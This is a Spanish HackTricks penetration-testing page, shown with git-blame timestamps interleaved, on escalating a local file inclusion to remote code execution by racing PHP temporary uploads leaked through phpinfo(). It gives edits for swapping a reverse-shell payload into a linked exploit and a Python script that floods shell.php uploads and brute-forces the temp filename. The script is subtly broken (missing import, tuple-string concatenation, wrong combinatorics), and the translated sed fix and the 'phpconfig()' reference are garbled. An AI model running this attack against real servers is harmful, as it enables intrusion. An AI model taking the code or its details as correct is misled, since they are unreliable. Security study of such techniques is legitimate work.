hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

81 lines
5.2 KiB
Markdown
Raw Normal View History

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 20:33:24 +02:00
<details>
2023-06-05 20:33:24 +02:00
<summary>Support HackTricks</summary>
2023-06-05 20:33:24 +02:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2023-06-05 20:33:24 +02:00
</details>
{% endhint %}
2023-06-05 20:33:24 +02:00
Para explotar esta vulnerabilidad necesitas: **Una vulnerabilidad LFI, una página donde se muestre phpinfo(), "file\_uploads = on" y el servidor debe poder escribir en el directorio "/tmp".**
2023-06-05 20:33:24 +02:00
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
2023-06-05 20:33:24 +02:00
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
Necesitas arreglar el exploit (cambiar **=>** por **=>**). Para hacerlo puedes hacer:
2023-06-05 20:33:24 +02:00
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
Tienes que cambiar también el **payload** al principio del exploit (por ejemplo, por un php-rev-shell), el **REQ1** (esto debería apuntar a la página de phpinfo y debería incluir el padding, es decir: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), y **LFIREQ** (esto debería apuntar a la vulnerabilidad LFI, es decir: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Verifica el doble "%" al explotar el carácter nulo)
2023-06-05 20:33:24 +02:00
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
### Teoría
Si se permiten cargas en PHP y intentas subir un archivo, este archivo se almacena en un directorio temporal hasta que el servidor ha terminado de procesar la solicitud, luego este archivo temporal se elimina.
2023-06-05 20:33:24 +02:00
Entonces, si has encontrado una vulnerabilidad LFI en el servidor web, puedes intentar adivinar el nombre del archivo temporal creado y explotar un RCE accediendo al archivo temporal antes de que se elimine.
2023-06-05 20:33:24 +02:00
En **Windows**, los archivos suelen almacenarse en **C:\Windows\temp\php**
2023-06-05 20:33:24 +02:00
En **linux**, el nombre del archivo solía ser **aleatorio** y ubicado en **/tmp**. Como el nombre es aleatorio, es necesario **extraer de algún lugar el nombre del archivo temporal** y acceder a él antes de que se elimine. Esto se puede hacer leyendo el valor de la **variable $\_FILES** dentro del contenido de la función "**phpconfig()**".
2023-06-05 20:33:24 +02:00
**phpinfo()**
**PHP** utiliza un búfer de **4096B** y cuando está **lleno**, se **envía al cliente**. Luego, el cliente puede **enviar** **muchas solicitudes grandes** (usando encabezados grandes) **subiendo un php** reverse **shell**, esperar a que se **devuelva la primera parte de phpinfo()** (donde está el nombre del archivo temporal) y tratar de **acceder al archivo temporal** antes de que el servidor php elimine el archivo explotando una vulnerabilidad LFI.
2023-06-05 20:33:24 +02:00
**Script de Python para intentar forzar el nombre (si la longitud = 6)**
2023-06-05 20:33:24 +02:00
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
2023-06-05 20:33:24 +02:00
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
2023-06-05 20:33:24 +02:00
print('[x] Something went wrong, please try again')
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 20:33:24 +02:00
<details>
2023-06-05 20:33:24 +02:00
<summary>Apoya a HackTricks</summary>
2023-06-05 20:33:24 +02:00
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 20:33:24 +02:00
</details>
{% endhint %}